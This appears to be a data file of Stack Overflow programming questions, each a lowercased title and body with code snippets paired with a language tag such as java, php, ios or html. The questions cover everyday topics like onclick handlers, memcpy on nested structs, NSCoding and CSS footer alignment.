different functions in onclick  im getting confused about the different between those functions on the onclick  <br> and which is better   and what they mean if they are differents .      <pre><code>     onclick =   return func()       onclick =   return func();       onclick =   javascript: func()       onclick =   javascript: func();       onclick =   func()       onclick =   func();       onclick =   return true  </code></pre>   any explanations will be much appreciated .<br> and if there is more   would like to know it also,html
how do i make a html table to be bigger than the default page size  i have a table made with html and php (php for the content) and because of the length of some of the sentences in one of the sub-sections i need the width to go outside the screen(so scrolling goes in width as well as height).    the printed text in one of the columns is a full stack trace for an android app and because of the short length of the column  the text gets  squeezed  inside it.     how can i expand the table in width to go off the screen so a scrollbar at the bottom appears  i m going to add another column too so i need to have space enough.    additionally  because of the height of the text in one of the 6 columns the other content gets set to the middle of the column. how do i make all the text start at the top independently of the other columns     important code:   <pre><code>&lt;table border= 1  style= border:2px solid black; &gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;td&gt;time&lt;/td&gt;             &lt;td&gt;android_version&lt;/td&gt;             &lt;td&gt;device_id&lt;/td&gt;             &lt;td&gt;app_version&lt;/td&gt;             &lt;td&gt;stacktrace&lt;/td&gt;             &lt;td&gt;package&lt;/td&gt;         &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;         &lt; php             //etc database stuff            while($row = mysql_fetch_assoc($result)) {          &gt;             &lt;tr&gt;                 &lt;td&gt;&lt; php echo $row[ time ]; &gt;&lt;/td&gt;                 &lt;td &gt;&lt; php echo $row[ android_version ]; &gt;&lt;/td&gt;                 &lt;td &gt;&lt; php echo $row[ device_id ]; &gt;&lt;/td&gt;                 &lt;td &gt;&lt; php echo $row[ app_version ]; &gt;&lt;/td&gt;                 &lt;td &gt;&lt; php echo $row[ stacktrace ]; &gt;&lt;/td&gt;&lt;!-- this is the part that is very long. the other text is centered based on the length of this. --&gt;                 &lt;td&gt;&lt; php echo $row[ package ]; &gt;&lt;/td&gt;             &lt;/tr&gt;         &lt; php         }          &gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>   i tried searching for it  but i only found questions relating to tables going outside the default visible screen but they did not want it. i want the table to be its full size  even if the screen expands so there is a scrollbar in width,html
virtual path change  i want to change virtual path(the path is out of project means local system or server.) of the file which is save on the folder in asp.net.    code is   <pre class= lang-default prettyprint-override ><code>datatable dtfiles =       getfilesindirectory(httpcontext.current.server.mappath(uploadfolder)); gv.datasource = dtfiles; gv.databind();  if (dtfiles != null &amp;&amp; dtfiles.rows.count &gt; 0) {     double totalsize = convert.todouble(dtfiles.compute( sum(size)     ));     if (totalsize &gt; 0) lbltotalsize.text = calculatefilesize(totalsize); }  private static string uploadfolder =  d:/uploads ; </code></pre>   and the error show  d:/uploads is not a valid virtual path. .,asp.net
create one ios app  but distribute to several clients  i m a net developer who embarked on ios / iphone dev a week ago. i have two questions:    1) i need to make an app which will be distributed to several clients. so things like logo  title etc... need to be different for each of them.    (the idea is to create one app  but distribute to several clients)    what approach do you recommend     2) how to increase my learning pace with ios  any good quality resource you recommend,ios
memcpy over a structure with another structure not working in c  so there have already been plenty of questions about copying structure by assigning or using memcpy. now i wrote a small programm with having two structures:   <pre><code>typedef struct {   int b; } mystruct2;  typedef struct {   int a;  mystruct2* sub_struct; } mystruct; </code></pre>   so now i tried to define two structures and then use a memcpy over them like this (i am handling null pointers after allocating memory  just left it out for easier reading):   <pre><code>mystruct* var_one = malloc(sizeof(mystruct)); var_one-&gt;sub_struct = malloc(sizeof(mystruct2));  var_one-&gt;a = 10; var_one-&gt;sub_struct-&gt;b = 111;  mystruct* var_two = malloc(sizeof(mystruct)); var_two-&gt;sub_struct = malloc(sizeof(mystruct2));  var_two-&gt;a = 22; var_two-&gt;sub_struct-&gt;b = 2222;  printf( %d und %d\n   var_two-&gt;a  var_two-&gt;sub_struct-&gt;b);   memcpy(var_two  var_one  sizeof(mystruct));   printf( %d und %d\n   var_two-&gt;a  var_two-&gt;sub_struct-&gt;b); </code></pre>   sofar everything works fine and as expected. but know if i do:   <pre><code>free(var_one-&gt;sub_struct); free(var_one);  printf( %d und %d\n   var_two-&gt;a  var_two-&gt;sub_struct-&gt;b); </code></pre>   the second printf is giving me the error:<br>     invalid read of size 4;    can someone explain me maybe why  the memory for the sub-structure of var_two has been allocated separately  and i thought that memcpy is just copying a piece of memory  so why is freeing the first sub-structure influencing the second one,c
how to awake a thread every second  java  i m trying to launch a thread that needs to execute a task every second.  so what i did from now is making a loop on this code:   <pre><code>// execute my task ..  lastscan.settime(lastscan.gettime() + 1000); long timetosleep = (lastscan.gettime() - new date().gettime()); try {     thread.sleep(timetosleep); } catch (interruptedexception e) {     e.printstacktrace(); } </code></pre>   this works  but i was wondering if there is something more elegant  and maybe more safe  for example a function that awake my thread when the current date reach a given time.    thanks in advance for your suggestions.,java
need something like greater-than-or-equal  i d like to have something like:   <pre><code>int x = arrayx.count; int y = arrayy.count;  if (x &gt;= y) { //do something } </code></pre>   is this possible,objective-c
changing the text of a label at the start and after the code in c#  i have the following code which will fetch some data from a <code>.php</code> file on a website and it will format the data and show it on the form. (using visual studio) sometimes the fetching of data takes some time. so i want a label named <code>u</code> to be changed to  refreshing...  during the time it fetches the data. so i used the below code.(i am showing the relevant part)   <pre><code>private void refresh(object sender  mouseeventargs e)     {         u.text =  refreshing ... ;         string r = httpget( http://www.example.com/ fetch=ok );         u.text =  done ;     } </code></pre>   but this code is not changing the text to  refreshing ...   it s only being changed to  done  even if the fetching takes 1 minute. what s happening here  how can i make it work,c#
how to upload image on twitter  i want to upload image on twitter.    please any one help me how we upload image on twitter. please explain or provide code.    thanks rockydilse,iphone
how to get the status of location access permission to warn user  how can i detect the status of location access when user rejected the permission in the permission manager of the app.    this is not about android m but all the api level    i tried to use context#checkpermission but it always return true.so i can t get the right status of location access permission if the user rejected it.   <pre><code>private static boolean checkpermission(context context  string permname  string pkgname){     packagemanager pm = context.getpackagemanager();     if(packagemanager.permission_granted == pm.checkpermission(permname  pkgname)){         system.out.println(pkgname +  has permission :   + permname);         return true;     }else{         //packagemanager.permission_denied == pm.checkpermission(permname  pkgname)         system.out.println(pkgname +  not has permission :   + permname);         return false;     } } </code></pre>,android
is there any performance loss <pre><code>public class mayank {  public static void main(string ...aa){   system.out.println( yes it is working );        } } </code></pre>   is there any decrease in efficiency of program if we use this syntax.,java
check primality in prime factorization  i have the following code for prime factorization.    <pre><code>public static void primefactors(int n) {     for (int i = 2; i &lt;= math.sqrt(n); i = i+1)     {              while (n%i == 0)         {             factors.add(i);             n = n/i;         }     }      if (n&gt;2 ) {         factors.add(n);     }     system.out.println(factors);             } </code></pre>   from a mathematical point of view we have to check if each divisor i is also prime and not only if it is factor. could anyone explain me (mathematically) why the algorithm still works,java
why doesn t in-app purchase show my application s name when testing in the sandbox   i have completed in app purchase for my application. its working fine. the only problem i have   when i test in app purchase in sandbox enviornment  it shows a message do you want to buy an  un known app  for 1.79. why doesnt it shows the name of the app.    plus when i am going to upload the final binary to app store. what i need to do to swrich in app purchase from sandbox enviornment to real in app purchase or it will switch automaticall     thanks guys,iphone
javascript quintus endless runner nan error  i ve come across a problem that i ve never seen before as i m fairly new to javascript. currently trying to get a hud working on an endless runner game i ve downloaded (link: <a href= http://www.html5quintus.com/quintus/examples/runner/  rel= nofollow >http://www.html5quintus.com/quintus/examples/runner/</a>). have copied all the images  json  javascript and index files and have managed to get it working with some gui labels along the top of the screen to indicate the number of lives and health remaining. upon a collision of the player with a crate  i m deducting 25 (stored in a variable called hitamount) from the overall health of the player (starts at 100)  however - upon the first impact between the player and a crate  i see  nan  rather than a result of a simple subtraction calculation. does anyone know why this is the case      <pre><code>window.addeventlistener( load  function() {  var q = window.q = quintus()         .include( sprites  scenes  input  2d  anim  touch  ui )         .setup({ maximize: true })         .controls().touch()  var sprite_box = 1; q.gravityy = 2000; var lives = 3; var damageamount = 25;  q.sprite.extend( player  {    init: function(p) {      this._super(p {       sheet:  player         sprite:  player         collisionmask: sprite_box         x: 40        y: 555        standingpoints: [ [ -16  44]  [ -23  35 ]  [-23 -48]  [23 -48]  [23  35 ]  [ 16  44 ]]        duckingpoints : [ [ -16  44]  [ -23  35 ]  [-23 -10]  [23 -10]  [23  35 ]  [ 16  44 ]]        speed: 500        health: 100        jump: -700     });      this.p.points = this.p.standingpoints;     this.add( 2d  animation );   }     step: function(dt) {     this.p.vx += (this.p.speed - this.p.vx)/4;      if(this.p.y &gt; 555) {       this.p.y = 555;       this.p.landed = 1;       this.p.vy = 0;     } else {       this.p.landed = 0;     }      if(q.inputs[ up ] &amp;&amp; this.p.landed &gt; 0) {       this.p.vy = this.p.jump;     }       this.p.points = this.p.standingpoints;     if(this.p.landed) {       if(q.inputs[ down ]) {          this.play( duck_right );         this.p.points = this.p.duckingpoints;       } else {         this.play( walk_right );       }     } else {       this.play( jump_right );     }      this.stage.viewport.centeron(this.p.x + 300  400 );    } });  q.sprite.extend( box  {   init: function() {      var levels = [ 565  540  500  450 ];      var player = q( player ).first();     this._super({       x: player.p.x + q.width + 50        y: levels[math.floor(math.random() * 3)]        frame: math.random() &lt; 0.5   1 : 0        scale: 2        type: sprite_box        sheet:  crates         vx: -600 + 200 * math.random()        vy: 0        ay: 0        theta: (300 * math.random() + 200) * (math.random() &lt; 0.5   1 : -1)     });       this.on( hit );   }     step: function(dt) {     this.p.x += this.p.vx * dt;       this.p.vy += this.p.ay * dt;     this.p.y += this.p.vy * dt;     if(this.p.y != 565) {       this.p.angle += this.p.theta * dt;     }      if(this.p.y &gt; 800) { this.destroy(); }    }     hit: function() {      this.p.type = 0;     this.p.collisionmask = q.sprite_none;     this.p.vx = 200;     this.p.ay = 400;     this.p.vy = -300;     this.p.opacity = 0.5;     //change this so crate hitting player reduces his health     parseint(this.p.health -= damageamount);     q.stagescene( hud   3  this.p);   } });  q.gameobject.extend( boxthrower  {   init: function() {     this.p = {       launchdelay: 0.75        launchrandom: 1        launch: 2     }   }     update: function(dt) {     this.p.launch -= dt;      if(this.p.launch &lt; 0) {       this.stage.insert(new q.box());       this.p.launch = this.p.launchdelay + this.p.launchrandom * math.random();     }   }  });   q.scene( level1  function(stage) {    stage.insert(new q.repeater({ asset:  background-wall.png                                   speedx: 0.5 }));    stage.insert(new q.repeater({ asset:  background-floor.png                                   repeaty: false                                  speedx: 1.0                                  y: 300 }));    stage.insert(new q.boxthrower());   stage.insert(new q.player());   stage.add( viewport );  });  q.scene( hud  function(stage) {   var container = stage.insert(new q.ui.container({     x: 50  y: 0   }));    var label = container.insert(new q.ui.text({x:200  y: 20      label:  health:   + stage.options.health  color:  fuchsia  }));    var strength = container.insert(new q.ui.text({x:50  y: 20      label:  lives:   + lives  color:  fuchsia  }));    container.fit(20); });  q.load( player.json  player.png  background-wall.png  background-floor.png  crates.png  crates.json   function() {     q.compilesheets( player.png   player.json );     q.compilesheets( crates.png   crates.json );     q.animations( player   {       walk_right: { frames: [0 1 2 3 4 5 6 7 8 9 10]  rate: 1/15  flip: false  loop: true }        jump_right: { frames: [13]  rate: 1/10  flip: false }        stand_right: { frames:[14]  rate: 1/10  flip: false }        duck_right: { frames: [15]  rate: 1/10  flip: false }      });     q.stagescene( level1 );     q.stagescene( hud   3  q( player ).first().p); });  }); </code></pre>,javascript
complete custom object not getting stored in nsuserdefault  i have custom object problemdescription with nscoding protocol after storing object in nsuserdefault i am getting only two (patprobid patientid)properties and rest are null -    <pre><code>@property (nonatomic  strong) nsstring *patprobid; @property (nonatomic  strong) nsstring *patientid; @property (nonatomic  strong) nsstring *visitid; @property (nonatomic  strong) nsstring *doctorid; @property (nonatomic  strong) nsstring *description; @property (nonatomic  strong) nsstring *status; @property (nonatomic  strong) nsstring *diagoniseddate; @property (nonatomic  strong) nsstring *audmodts;  (id)initwithcoder:(nscoder *)decoder {     self = [super init];     if (!self) {         return nil;     }          self.patprobid = [decoder decodeobjectforkey:dict_patprobid];          self.patientid = [decoder decodeobjectforkey:dict_patientid];          self.visitid = [decoder decodeobjectforkey:dict_visitid];          self.doctorid = [decoder decodeobjectforkey:dict_doctorid];          self.description = [decoder decodeobjectforkey:dict_description];          self.status = [decoder decodeobjectforkey:dict_status];          self.diagoniseddate = [decoder decodeobjectforkey:dict_diagoniseddate];          self.audmodts = [decoder decodeobjectforkey:dict_audmodts];      return self; }   - (void)encodewithcoder:(nscoder *)encoder {       [encoder encodeobject:self.patprobid forkey:dict_patprobid];     [encoder encodeobject:self.patientid forkey:dict_patientid];     [encoder encodebool:self.visitid forkey:dict_visitid];     [encoder encodebool:self.doctorid forkey:dict_doctorid];     [encoder encodebool:self.description forkey:dict_description];     [encoder encodebool:self.status forkey:dict_status];     [encoder encodebool:self.diagoniseddate forkey:dict_diagoniseddate];     [encoder encodebool:self.audmodts forkey:dict_audmodts];    } </code></pre>,objective-c
calculating two numbers just like meter reading  need help. i m making electric billing system and i had a problem solving 2 numbers that has maximum of 99999 and after that it will back to 00000.i will give example:   <pre class= lang-none prettyprint-override ><code>1st  reading ==== 00050 2nd  reading ==== 00100 3rd  reading ==== 01000 4th  reading ==== 10000 nth  reading ==== 99950 last reading ==== 00050 </code></pre>   how to solve nth and last reading the answer must be 100...i m using php codes,php
delete method in rails  what s the difference between delete and destroy      if we generate a scaffold  the default method to remove an date entry is <code>method: :delete</code>  while delete is actually not defined in the controller. so how does rails actually figure out what to do,ruby-on-rails
how to remove all instances of a specific character from a column in mysql  i have a database on mysql where the data in the  name  column contains unwanted carets (^). for example  a name might be  john^ test^^ . is there any way to remove all these characters from the column,mysql
transaction script     table module  and  domain model  in order to make business components in business layer   i m studying  transaction script     table module  and  domain model  but it seems somehow complecated to me.    could you please give me an example which compares these three methods     thank you,.net
python multiplication operator <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5957341/python-list-confusion >python list confusion</a>    </blockquote>     i am newbie to python. please let me know why do stairlist[1][0] = 2 statement changes all the values when initialized with stairlist = [[0 0]] * 8.   <pre><code>&gt;&gt;&gt; stairlist = [[0 0]] * 8 &gt;&gt;&gt; stairlist [[0  0]  [0  0]  [0  0]  [0  0]  [0  0]  [0  0]  [0  0]  [0  0]] &gt;&gt;&gt; stairlist[1][0] = 2 &gt;&gt;&gt; stairlist [[2  0]  [2  0]  [2  0]  [2  0]  [2  0]  [2  0]  [2  0]  [2  0]] </code></pre>   but when i initialize stairlist variable according to the following then it works fine.   <pre><code>&gt;&gt;&gt; stairlist = [[1 2] [1 2]] &gt;&gt;&gt; stairlist [[1  2]  [1  2]] &gt;&gt;&gt; stairlist[1][1] = 3 &gt;&gt;&gt; stairlist [[1  2]  [1  3]] </code></pre>,python
what happens when cleartimeout is called on a variable with settimeout on it   so  what i mainly was wondering  was if <code>cleartimeout(t);</code> is the same as <code>t = undefined</code>.,javascript
angular expression with multiple fields  the title may not be right but here is what i want to happen.    i have this code here:   <pre><code>`{{cost.cost_a}}`  </code></pre>   and   <pre><code>`{{cost.cost_b}}` </code></pre>   both have values  i want it so that if only one has a value then  it shows cost_b otherwise shows cost_a.    i was wondering if it would be an <code>ng-if</code> statement but i am unsure as to how this would work.    sorry if i havent explained this correctly  if cost a has a value of 0 then show cost b otherwise show cost a,angularjs
system.threading multiple users  i have been asked to add a splash page to an old asp website written in vb.net    this is an external facing website that is accessed by thousands of people per day.    i have added the following methods for the on click events of the link buttons:   <pre><code>    protected sub linkwelsh_click(byval sender as object  byval e as system.eventargs) handles linkwelsh.click     thread.currentthread.currentuiculture = new cultureinfo( hi-in )     response.redirect( ~/content/mainpageone.aspx )     end sub      protected sub linkenglish_click(byval sender as object  byval e as system.eventargs) handles linkenglish.click     thread.currentthread.currentuiculture = new cultureinfo( en-gb )     response.redirect( ~/content/mainpageone.aspx )     end sub </code></pre>   upon testing this works fine  and allows me to browse beyond <code>mainpageone</code> with the language consistent.    however  my question is...    if i have 100 users simultaneously  and one of them clicks the welsh link on the splash page  will this ui culture change made to the current thread only relate to them  i.e. does each new user get a thread and therefore by changing the current thread mean it is only going to affect them.    or is there the potential for this thread change to affect someone other than themselves.    apologies if this is a stupid question however i am not familiar with the <code>system.threading</code> class when dealing with multiple users.,.net
is it possible to execute the formula [column1] +[column2]/10000 in dynamic sql for square brackets  i tried executing some formula in dynamic sql concept in the format enclosed in square brackets like <code>([15] + [20]) /10000...</code> which got failed.    but when i tried with <code>((15)+(20))/10000</code> it worked.    is it possible to use square brackets in dynamic sql calculation,sql
replacing a character in string in c  have to replace a user input character with another user input character and print the string . what am i doing wrong     <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; main() { int i; char a b str[100]; printf( enter the string ); gets(str); //asking for replacement printf( enter the character to be replaced ); scanf( %c  &amp;a); // which letter to replace the existing one printf( enter the character to replace ); scanf( %c  &amp;b); for(i=0;str[i]!= \0 ;i++) {     if(str[i]==a)     {     str[i] = b;     }     else     continue; } printf( the new string is ); puts(str); } </code></pre>,c
tostring() does not override  the purpose of the program is to find the number of areas in a  maze  that are separated from eachother. then it should print the number of separated areas and the size and coordinates of the top left corner of each of the areas in descending order. if the areas have the same size  then the on that starts higher or more to the left should be printed first. the input is the size of the matrix width x height and then series of spaces and   *    with   *   representing an unpassable position.    it seems to be working fine up until the printing. even though i ve overridden tostring()  it seems to be printing as though i ve coded <strong>system.out.println(areas.size);</strong>   <pre><code>import java.io.*; import java.util.*;  class area implements comparable {     int size;     int x y;          public area(int size int col int row){         size=size;         x=col;         y=row;     }     public string tostring(){         return  size:   + size +  \n  +  row:  + y +  \n  +  col:  + x +  \n ;     }     public int compareto(object o1){         if(this.size&gt;((area) o1).size)             return -1;         else if(this.size&lt;((area) o1).size)             return 1;         else if(this.y&lt;((area)o1).y)             return -1;         else if(this.y&gt;((area)o1).y)             return 1;         else if(this.x&lt;((area)o1).x)             return -1;         else if(this.x&gt;((area)o1).x)             return 1;         else return 0;     } }   public class connectedareasinmatrix {     static list areas = new arraylist();     static int height width br;     static char[][] a;     static bufferedreader input = new bufferedreader(new inputstreamreader(system.in));     public static void main(string[] args) {         matrixini();         findareas();         print();      }      //gets the use input and forms the matrix     private static void matrixini() {         try{             system.out.println( enter the size of the matrix: + \n + width: );             width = integer.parseint(input.readline());             system.out.println( height: );             height = integer.parseint(input.readline());         }         catch(ioexception e){             system.out.print(e);         }         catch(numberformatexception f){             system.out.println( invalid number. );         }         system.out.println( enter the matrix 1 row at a time: );         a= new char[height][width];          int i=0;         string temp = new string();         do{             try{                 temp=input.readline();                 if(temp.length()==width){                     a[i]=temp.tochararray();                     i++;                 }                 else                     system.out.println( invalid row length. );             }             catch(ioexception e){                 system.out.println(e);             }         }         while(i!=height);             }      //finds an uncounted area.     static void findareas() {         area temparea;         br=0;         for(int i=0;i&lt;width;i++){             for(int k=0;k&lt;height;k++){                 if(a[i][k]==   ){                     temparea = new area(1 i k);                     areas.add(areabuilder(i k temparea.size));                     br++;                 }             }          }      }      //counts all the connected positions     private static int areabuilder(int i  int k  int tempareasize) {         a[i][k]= * ;          if(k+1&lt;width)             if(a[i][k+1]==   ) tempareasize = areabuilder(i k+1 tempareasize+1);          if(i+1&lt;height)             if(a[i+1][k]==   ) tempareasize = areabuilder(i+1 k tempareasize+1);          if(k-1&gt;=0)             if(a[i][k-1]==   ) tempareasize = areabuilder(i k-1 tempareasize+1);          if(i-1&gt;=0)             if(a[i-1][k]==   ) tempareasize = areabuilder(i-1 k tempareasize+1);         return tempareasize;     }      //prints the result. expected output is the number of connected areas and after it the size      //and coordinates of the top left corner of each area.      static void print(){         collections.sort(areas);         system.out.println( the connected areas are  +br+ \n );         iterator  itr = areas.iterator();          while(itr.hasnext()){             system.out.println(itr.next());          }     } } </code></pre>,java
how can i vertically align text in my div  this is doing my head in. i can t get my text to align vertically in my footer. the basic text is where i want it in the middle but the links to log in end up at the top of the footer. also when i log in and have my other options display the text on the right of the footer doesn t display. please help.    footer code:   <pre><code>    &lt; php         include ( includes/closedb.php );      &gt;         &lt;footer&gt;             &lt;div class= footer-wrapper &gt;&lt;/div&gt;             &lt;div class= footer-wrapper &gt;                 &lt;div class= float-left &gt;&lt;p id= social &gt;site map&lt;/p&gt;&lt;/div&gt;                 &lt;div id= login &gt;                             &lt; php                                 if (logged_on())                         {                             echo  &lt;li&gt;&lt;a href= /logoff.php &gt;sign out&lt;/a&gt;&lt;/li&gt;  .  \n ;                             echo  &lt;li&gt;&lt;a href= /addpage.php &gt;add&lt;/a&gt;&lt;/li&gt;  .  \n ;                             echo  &lt;li&gt;&lt;a href= /selectpagetoedit.php &gt;edit&lt;/a&gt;&lt;/li&gt;  .  \n ;                             echo  &lt;li&gt;&lt;a href= /deletepage.php &gt;delete&lt;/a&gt;&lt;/li&gt;  .  \n ;                             if (is_admin())                             {                              }                         }                         else                         {                             echo  &lt;li&gt;&lt;a href= /logon.php &gt;admin log in&lt;/a&gt;&lt;/li&gt;  .  \n ;                         }                          &gt;                          &lt; php if (logged_on()) {                             echo  &lt;div class=\ welcomemessage\ &gt;welcome  &lt;strong&gt;{$_session[ username ]}&lt;/strong&gt;&lt;/div&gt;\n ;                         }  &gt;                 &lt;/div&gt;                  &lt;div class= float-right &gt;&lt;p id= social &gt;&amp;copy; swing and putt 2014&lt;/p&gt;&lt;/div&gt;             &lt;/div&gt;         &lt;/footer&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   css:   <pre><code>.float-left { float: left; color: #000000; text-align: left; padding-left: 10px; }  .float-right { float: right; color: #000000; text-align: right; padding-right: 10px; }  footer { clear: both; font-size: 12pt; height: 30px; margin-top: -30px; /* negative value of footer height */ position: relative; background-color: #00bfff; padding: 5px; }      footer .footer-wrapper { }  /* login ----------------------------------------------------------*/ #login { display: block; font-size: 12pt; font-family: arial; float: left;  }  #login a { margin-left: 10px; margin-right: 3px; padding: 2px 3px; text-decoration: none; }  #login a.username { background: none; margin-left: 0px; text-decoration: underline; }  #login ul { margin: 0; }  #login li { display: inline; list-style: none; } </code></pre>   hope that all makes sense. i m struggling with php type stuff.,html
how to get to appdelegate from viewcontrollers  value   i know how to access appdelegate s value inside viewcontroller like   <pre><code> yourdelegate *appdelegate = (yourdelegate *)[[uiapplication sharedapplication] delegate]; </code></pre>   but i want simple method like this when i want to get value from viewcontroller to appdelegate(reverse order).....  any help...     suppose if i have one method in appdelate. i want to get data value from view controller page i want to use it in appdelegte.m file.......,iphone
converting string  0x1a  to sbyte  i m getting the exception:   <blockquote>    input string was not in a correct format.  </blockquote>   at runtime for the following code snippet.   <pre><code>string str=  0x1a ;  sbyte value= convert.tosbyte(str); </code></pre>   can anyone help in fixing this,c#
search engine not allowing me to see .net error page  i just installed visual studio 2012 on fresh windows 7 machine and i have having some trouble for some reason i do not no why when i go to debug a page it is naivagating away from the .net error message and going to the following url     <a href= https://uk.search.yahoo.com/yhs/errorhandler hsimp=yhse-001&amp;hspart=cnd&amp;type=a8beeaea654ba49e583f_s_g_e&amp;q=http://localhost:49573/admin/users/default.aspx  rel= nofollow >https://uk.search.yahoo.com/yhs/errorhandler hsimp=yhse-001&amp;hspart=cnd&amp;type=a8beeaea654ba49e583f_s_g_e&amp;q=http://localhost:49573/admin/users/default.aspx</a>    there is nothing in my code to tell it to go yahoo  and iis express is running  has anyone ever encourted this before on a fresh machine,c#
multiple beacons didrangebeacons delegate call returning just one beacon at a time  i am working with ibeacons. i have multiple beacons  each beacon having the same uuid  major  but different minor values. both the devices are ranged but they are not received together  the  - locationmanager:didrangebeacons:inregion: delegate callback  beacons  array contains only 1 beacon at a time.     i got to know that using multiple regions will have callback separately    this is how code for monitoring and ranging beacons   <pre><code>// initialize and monitor regions for (nsstring *serviceuuid in _serviceuuids) {   // initialize region   nsuuid *uuid = [[nsuuid alloc] initwithuuidstring:serviceuuid];   clbeaconregion *appbeaconregion = [[clbeaconregion alloc] initwithproximityuuid:uuid major:major minor:minor identifier:identifier];   // specify notifications   appbeaconregion.notifyentrystateondisplay = yes;   appbeaconregion.notifyonentry = yes;   appbeaconregion.notifyonexit = yes;   // add to regions   [_appbeaconregions addobject:appbeaconregion];   // begin monitoring region and ranging beacons   [_locationmanager startmonitoringforregion:appbeaconregion];   [_locationmanager startrangingbeaconsinregion:appbeaconregion]; } </code></pre>   i want to have all the beacons which are in range within single callback    how do i use single region with different minor  identifier values for all the beacons    any help appreciated..    thanks,ios
where can i find in reflector the initiations of a page   if i have    <pre><code>public partial class mylittlepage: system.web.ui.page {... </code></pre>   and i have overriden <strong>for example</strong> the <strong>onload</strong>...    my question :  where in the code(reflector) does the compiler creates this :    <pre><code>  system.web.ui.page= new mylittlepage();    </code></pre>   i want to see all the chain of the polymorphic affect.. (or in other words : i m overloading <strong>onload</strong> for <strong>what</strong> virtual function   )    i know  the virtual function is on the control page but i <strong>wasn t</strong> able to see the polymorphic creation pattern of :    <pre><code>class1 x = new class2(); </code></pre>,asp.net
how to join column by comma   i have this code:   <pre><code>select cast(numero as varchar(255)) +  ;  as result  from acao </code></pre>   this code returns this:    <img src= https://i.stack.imgur.com/1emcx.png  alt= enter image description here >    i want to return a single line like this:  52;56;57;59   because i want to put this in a formula of a computed column. how do i do this using sql,sql
first <div> automatically gets margin in html  its one of those simple questions that bug the most. i have the following code:   <pre><code>&lt;html&gt;&lt;body&gt;   &lt;style&gt;   div{background-color:######;}   &lt;/style&gt;   &lt;div&gt;   blah blah   &lt;/div&gt;&lt;/body&gt;&lt;/html&gt; </code></pre>   this in chrome and firefox displays a grey colored box with blah blah in it <strong>but</strong> with a small margin on the top left and right. ive tried explicitly putting the margin and padding as 0 but it still doesnt help...<br> any ideas,html
php using vars inside a function without pasing param  in the following code; is there a way to use the vars inside the function without having to pass them as params    <pre><code>$var1 =  test ; $var2 =  another ;  function testing(){     print $var1; } </code></pre>   i read up on the php global s but wasn t sure if it was a good idea.     i have an ajax call that gets about 25 vars and replaces the tags in the body of an email where the placeholders are.    the sendemail piece is in a function and needs access to the outside vars to be able to replace the content.    without having a <code>function(){}</code> with 25 vars in it  is there another way to acomplish this     <strong>update</strong>    here is a sample snippet of my code; the reason why i am trying to do this.    <a href= http://pastebin.com/8qyslg5t  rel= nofollow >http://pastebin.com/8qyslg5t</a>,php
ioexception and write in file  i m not sure where s my mistake here.   <pre><code>public class testfinalclass {  public static void main(string[] args) throws ioexception {     java.io.file file = new java.io.file( rockstar.txt );     if (file.exists()) {         system.out.println( file already exists );         system.exit(1);     }     java.io.printwriter output = new java.io.printwriter(file);      output.print( bob );     output.println( 100 );     output.print( bibelo );     output.println( 33 );      output.close();  }  } </code></pre>   it s simply to write some data into a file and i get that error message from eclipse when i do:   <pre><code> exception in thread  main  java.lang.error: unresolved compilation problem:          unhandled exception type filenotfoundexception          at testfinalclass.main(testfinalclass.java:9) </code></pre>,java
can there be multiple web.config files in root folder  we can configure the settings for the webpages in a particular folder by keeping single web.config. can there be multiple web.config in a same hierarchy as i saw some where <strong>web.config.debug</strong> and <strong>web.config.release</strong> and <strong>web.config</strong>. why they are intended for.,asp.net
php array key=> value searching <hr>   hi i am fairly new to php.    i have an array     $arr = array(0 => array( gid =>1  groupname => cat1   members =>array(0=>array( mid =>11  mname => wwww ) 1=>array( mid =>12  mname => wswww )))               1 => array( gid =>2  groupname => cat2   members =>array(0=>array( mid =>13  mname => gggwwww ) 1=>array( mid =>14  mname => wvvwww )))               2 => array( gid =>3  groupname => cat1   members =>array(0=>array( mid =>15  mname => wwddsww )) 1=>array( mid =>16  mname => wwwdddw )));   <pre><code>      ie... i have gid groupname mid(member id) mname(member name).i want to insert a new mid and mname into a group if it is already in the array  if it is not exists then create a new subarray with these elements..i also need to check a member id(mid) is also present.........................i used the code but its not working fine............. if (!empty($evntgroup)) {               foreach ($evntgroup as $k =&gt; $group) {                  if ($group[ gid ] == $group_id) {                     foreach($group as $j=&gt; $mem){                      if($mem[ mid ] == $mem_id){                          unset($evntgroup[$k][ members ][$j][ mid ]);                         unset($evntgroup[$k][ members ][$j][ mname ]);                     }                     else{                       $evntgroup[$k][ members ][] = array(                          mid  =&gt; $mem_id                           mname  =&gt; $mem_name);                      }}                 } else {                       $evntgroup[] = array(                          gid  =&gt; $group_id                           groupname  =&gt; $group[ event_group_name ]                           members  =&gt; array(                             0 =&gt; array(                                  mid  =&gt; $mem_id                                   mname  =&gt; $mem_name                             )                         )                     );                  }              }         } else {              $evntgroup[$i][ gid ] = $group_id;             $evntgroup[$i][ groupname ] = $group[ event_group_name ];             $evntgroup[$i][ members ][] = array(                  mid  =&gt; $mem_id                   mname  =&gt; $mem_name);             $i++;          } </code></pre>,php
help refactoring this controller logic  should this be a helper   so if i am listing blog post entries  and under each entry i display 5 comments.  there is a label below the last comment that says:   <pre><code> show more  </code></pre>   or   <pre><code> add comment  </code></pre>   the logic for this currently is in my controller:   <pre><code>@posts.each do |p|    if p.comment_count &gt; 3     p.some_label =  show more    else     p.some_label =  add comment    end  end </code></pre>   i had to add a  some_label  attribute to my posts model just for this purpose.    does this seem right or should it be re-factored,ruby-on-rails
